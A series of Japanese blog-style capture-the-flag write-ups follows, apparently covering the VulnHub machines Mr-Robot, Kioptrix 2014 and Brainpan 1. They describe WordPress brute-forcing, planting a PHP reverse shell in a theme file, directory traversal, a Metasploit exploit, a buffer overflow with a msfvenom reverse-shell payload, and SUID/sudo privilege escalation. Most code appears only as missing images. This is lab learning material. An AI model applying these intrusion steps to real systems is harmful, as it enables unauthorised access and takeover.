コマンドプロンプトっぽいところへ実際にコマンドが打てるようだ。
全て試してみたが、どれからも次のステップに進むためのヒントは得られなかった。
niktoとdirbを使ってサイトのディレクトリを探索する。
niktoの結果からは特に得られるものはなかった。
次の画像はdirbの出力結果の一部。
WordPressが動いてることと、robots.txtがあることがわかる。
robots.txtにアクセスすると次のような表示を得た。
明らかにこれはファイル名だ。
wgetでダウンロードしてみる。
ファイルの中身を表示したのが次の画像。
最初にfsocity.dicをheadコマンドで出力している。
これは辞書ファイルで、おそらくブルートゥースアタックに使うものだと予想される。
key-1-of-3.txtは3つあるflagの1だと思われる。
さて、robots.txtから得られるものはもうなにもない。
dirbで得られた結果の解析に戻ろう。
先程実行したdirbの結果から、このサーバーにはWordPressがインストールされていることがわかっている。
アクセスしてみる。
もろにログインページだ。おそらく先程の辞書ファイルを使うのだろう。
パスワードリストとユーザー名リストにその辞書ファイルを指定し、WPScanでブルートフォースアタックを仕掛ける。
…が、単語数が多すぎて一向に終わらない。
もう一度辞書ファイルをよく見ると、単語の重複がかなりあることがわかった。
ソートし、uniqコマンドで重複を削除した後、再度ブルートフォースを仕掛ける。
…が、やはり単語数が多い。全く終わる気配がしない。
WPScanでスキャンをかけるもユーザー名などは見つからなかった。
また、有効な脆弱性も見つからない。
何か見落としがあると考え、dirbの出力結果をもう一度見直す。
結論から述べると、licenseというページにヒントがあった。
次の画像がlicenseをブラウザで開いた様子。
煽られている…?
うおおおおおおおおおおおお
デコードしてみる。
これは…ユーザー名とパスワード…?
WordPressのログインページで試してみる。
ログインできた!
とはいえ、ここからどうすればいいのか皆目見当がつかない。
シェルが得られたりしないのだろうか。
しばらくダッシュボードをいじくり回してみる。
…よくわからないので調べる。
次の記事が参考になった。
https://www.hackingarticles.in/wordpress-penetration-testing-using-wpscan-metasploit/
よし、やっと方向性が見えてきた。
例によってpentestmonkeyからコードを拝借する。
http://pentestmonkey.net/tools/web-shells/php-reverse-shell
プラグインにアップロードできるのはzipファイルだけなので、phpファイルをzipにして…
…ここで気がついたのだが、プラグインをアップロードしても、このコードを実行する方法がない。
もう一度上の記事をよく読んで見ると、どうやらプラグインをアップロードするのではなくて、既存のプラグインを書き換えることでバックドアを仕込むようだ。
記事を参考に404.phpを書き換える。
これなら適当なページにアクセスすることで、簡単にバックドアコードを実行させられる。
Netcatで待ち受けて…適当なページにアクセスする。
よし!たしかにリバースシェルが張られている。
カーネルエクスプロイトで権限昇格を狙う。
まずはエクスプロイトコードを照会。
Kali側でPythonを使った簡易サーバーをホストし、Mr-RobotVM側からエクスプロイトコードをwgetする。
…とはいかず。2,3他のコードも試してみたがうまく刺さらなかった。
残念ながらここでギブアップした。
これまでの経験から、権限昇格における私の手札は次のようなものだ。
カーネルエクスプロイト。
sudo -lでroot権限で実行を許可されているコマンドを見つけ、そこからroot権限のシェルをスポーンさせる。
同様の考えで、root権限で動くサービスからシェルをスポーンさせる。
root権限のcronで定期実行されるスクリプトを書き換える。
しかし今回はこのどれも使えなかった。
writeupを見ると次のような方法でroot権限を得ていた。
まずSUIDがrootのものをすべて列挙し、
今回はそのうちのNmapの利用している。
古いバージョンのNmapはユーザーがシェルコマンドを実行できる対話モードが実装されているらしい。
pingなどのネットワークユーティリティは実行にroot権限が必要な場合があり、Nmapもこれに該当する。
sudo -lが封じられていてもroot権限で動くものを探させるということが学べた。
さて、残りのフラッグは/home/robot/と/rootにあった。
Thanks to the Leon Johnson for this CTF!
前半はWPScanのオプションが変更されていることに気づかず時間を溶かしてしまった一方で、後半は新しい手法を学ぶことができた。
また、その過程でペンテストについて参考になるブログをたくさん見つけることができた。熟読して手札を増やしていきたい。
VulnHubのKioptrix: 2014 (#5)をやってみたよ~!
VulnHubのKioptrix: 2014 (#5)をやってみたよ~!ということでやっていく。
https://www.vulnhub.com/entry/kioptrix-2014-5,62/
まずは対象VMのアドレスの取得から。
アドレスをゲットできたらNmapでポースキャン。
80番ポートと8080番ポートでhttpが稼働中のようなのでアクセスしてみる。
まずは80番ポートから。
ソースにページ情報を発見。
アクセスしてみる。
なにやらよくわからないページが表示された。
このページの内容自体にはヒントになりそうなものはなさそう。
ちなみに8080番ポートは権限が足りずアクセス拒否された。
niktoとdirbを使ってディレクトリ探索を実施。
どちらの結果にも、次のステップに進むための有益な情報は含まれていなかった。
どうしようかしばらく右往左往した。
アドレスにバージョン情報っぽい数列が含まれていたのでひょっとしたらと思い調べると、先程表示したpChartのページは、pChartというライブラリによってホストされているらしいことがわかった。
アホっぽい言い回しだが重要な収穫だ。
さっそくsearhsploitで調べてみるとやはり脆弱性情報があった。
このテキストによるとDirectory TraversalとCross-Site Scriptingの脆弱性があるらしい。
記述を参考にアドレスを打ち込んでみると、確かにディレクトリ内容が表示された。
またXSSも再現できた。
ただ、これらの情報からKioptrixVMへの侵入に繋がりそうな直接の情報は得られなかった。
ここで、すこし迷った。
次の一手は、ディレクトリトラバーサルとXSSの脆弱性を調整しさらなる情報窃取をすることだ。
はて、どうすればいいのだろうか。
わかっていることはFreeBSD上でApacheが動いているということだ。
ディレクトリトラバーサルの脆弱性を利用し、他のファイルも見てみたい。できればクレデンシャルが含まれたファイルがあればそれがいい。
とはいえ、ダイレクトな情報が出てくるとは考えにくいので、まずはFreeBSDにApacheをインストールしたときのデフォルトのディレクトリ構造を調べることにした。
そういう向きで検索をかけると次のサイトがヒットした。
https://www.freebsd.org/doc/handbook/network-apache.html
これによると、FreeBSDのApacheは設定ファイルを以下のディレクトリに作成するらしい。
/usr/local/etc/apache2
x
/httpd.conf
ディレクトリトラバーサルの脆弱性を利用し、このファイルを見てみよう。次の画像が得られたhttpd.conの内容だ。
Apacheでは、各ページごとの設定をこのhttpd.confファイルに記述していく。
次のサイトを参考にしながら調査していった。
https://r7kamura.hatenablog.com/entry/20110222/1298371277
調査の結果、ページ最下部に記述されていた次の画像の部分が、8080番ポートへのアクセスを制限していることがわかった。
これによると、user-agentがMozilla/4.0でなければ8080番ポートにはアクセスできない。
さっそくcurlコマンドで、user-agentのオプションを調整してアクセスしてみよう。
8080番ポートにアクセスするとphptaxへのリンクが張ってあることがわかる。
分かりやすいようにページをダウンロードし、実際にブラウザ上に表示させてみる。
再度curlを使って、phptax/へアクセスするとさらにリンクが貼ってあるがこの先に接続はできなかった。
ページをダウンロードし表示させてみる。
おそらくphptax配下にもなにかページがある。
phptaxは、dirbが使うワードリストから漏れているので、再度dirbで新しく見つかったページphptax配下を探ってみる。
phptax配下にいくつかページが有ることが確認できた。
次の画像はphptax/readme/index.htmlをcurlでダウンロードし、ブラウザ上で表示させたもの。
ここにきてphptaxなるものが、なんらかのサービスであることがわかった。
ページ名だとばかり思っていたが、pChartと同じ轍を踏んでしまった。
さて、気を取り直してsearchsploitで脆弱性情報を照会する。
一番上に表示されたRubyファイルを見てみる。
Metasploit Frameworkで使用可能ということなので楽をさせてもらうことにする。
msfconsoleを開き、searchコマンドで先程の脆弱性を検索する。
useコマンドで指定。
オプションを表示し必要項目を埋める。
exploit!
うまく刺さったようだ。
ここからはFreeBSDの脆弱性を突くことで権限昇格を狙っていく。
まずはOS情報から脆弱性をサーチ。
見つかった脆弱性をKioptrixVMにアップロードする。
wgetコマンドがKioptrixVMになかったのでnetcatを使う。
最初にKali側でファイルを指定してやり、
KioptrixVM側でnetcatコマンドを使ってダウンロードする。
rootに移動し、
フラッグゲット!やったぜ!
flagで述べられているように、Kioptrix:2014はテクニカルな部分はほぼ一本道だが、その道を見つけるまでの検索力を問う問題だった。
Thanks to the author of Kioptrix for this CTF!
VulnHubでBrainpan: 1をやってみたよ~!
VulnHubでBrainpan: 1をやってみたよ~!ということでやっていく。
https://www.vulnhub.com/entry/brainpan-1,51/
まずはいつもどおりアドレスをゲットするところから始める。
次はポートスキャン。
9999番ポートでabyssなるもの、10000番ポートでhttpサーバーが可動している模様。
まずはブラウザからhttpにアクセス。
う~ん、ヒントはなさそう。
9999番ポートで稼働中のabyssなるものはざっと検索してみたところWebサーバーぽい。netcatでアクセスしてみる。
何やらバナーが表示されパスワードの入力を求められた。
適当な文字列を入力してみても当然弾かれる。
う~ん。
dirbでもう少し10000番ポートを探索してみることにする。
/binがあるらしいのでアクセスしてみる。
ダウンロードして中身をざっと見てみる。
これは9999番ポートで出力されたバナーと全く同じ…
さらに含まれている文字列を見てみる。
文字列比較やネットワーク系の命令が見えるなぁ。
Windows Emulatorことwineを使って実行してみる。
9999番ポートにバインドしている…やっぱりBrainpanVMの9999番ポートで稼働中のものと同じものっぽい。
netcatで自分自身の9999番ポートに接続してみる。
パスワードの入力を求められているので適当な文字を入力。当然ACCESS DENIED…残念。
と思いきや次のような出力がされていた。
これはBOF攻撃ができるのか…?
Pythonでシンプルなファザーを書いてファジングしてみる。
ファジングに使ったコードは以下。
すると次のように出力された。
702bytesコピーしたところでオーバーフローしたとのこと。
ということは、オーバーフローしたポイントが502~702bytesにあるということだ。
具体的に何byte目でオーバーフローするのかさらに調査する。
文字列中の3bytes特定できれば、それが文字列中のどの部分なのかが一意に特定できる文字列を、次のコマンドで出力する。
さてこの文字列をbrainpan.exeに流し込む。
書いたコードは以下。
結果は次のようになった。
アドレス0x35724134にアクセスしようとしてエラーを起こしている。
0x35724134をascii変換すると5rA4で、このことからバッファーの大きさは先程用意した文字列の先頭からちょうど5rA4までだとわかる。
では次のようにしてその長さを求めてみよう。
バッファーの大きさは524bytesだと判明した。
さて、ここからどうするのかだが…
BOF攻撃を使ってKaliへリモートシェルを張らせるようなコマンドを実行させることができれば、BrainpanVMのシェルが取れそうだ。
msfvenomを使ってリバースシェルを張らせるペイロードを作成する。
ペイロードを含んだコードを作成して、
ncでリバースシェルを待ち受け後、実行!
すると次のような出力が得られた。
たぶんこれをBrainpanVMの9999ポートに試せば、シェルが得られるんだと思う。
ペイロードを書き込んだファイルのアドレスをBrainpanVMのアドレスに書き換えて実行してみる。ncで待ち受けるのを忘れないように!
素晴らしい!シェルが得られているようだ。
さっそく内部を調査する。
シェルを操作していると変な挙動を示す。bashのつもりで動かすとうまくいかない。
多分いま操作しているのはwindowsのシェルであってbashではないからだろう。
動かしづらいと思っていたら矢先に/bin/bashを見つけた。
ただbashが使えるのは使えるのだがいちいち直接bashを指定してやらねばならず、不便この上ない。
リバースシェルを貼らせてみる。
うまくいったようだ。いつもどおりのbashの要領で操作ができる。
さておもむろに、root権限で実行可能なファイルを調べて見ると、あるではないか!
これを使ってrootへの昇格をねらう。
このanansi_utlはいくつかのコマンドを実行できるようだ。試しにmanualコマンドを実行してみよう。
これによるとanansi_utl manualは引数に与えられたコマンドのmanページを表示するものらしい。
これは怪しい。
以下のページにあるように、vimやmanなどはその中でさらにコマンドを実行可能だということが知られている。
https://www.hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/
これを利用すればroot権限を引き継いだshを呼び出すことが可能だろう。
よし!
やったね!
Thanks to superkojiman for this CTF!
あとから気づいたんだけど画像が全部透けててぜんぜんやったねじゃないじゃん…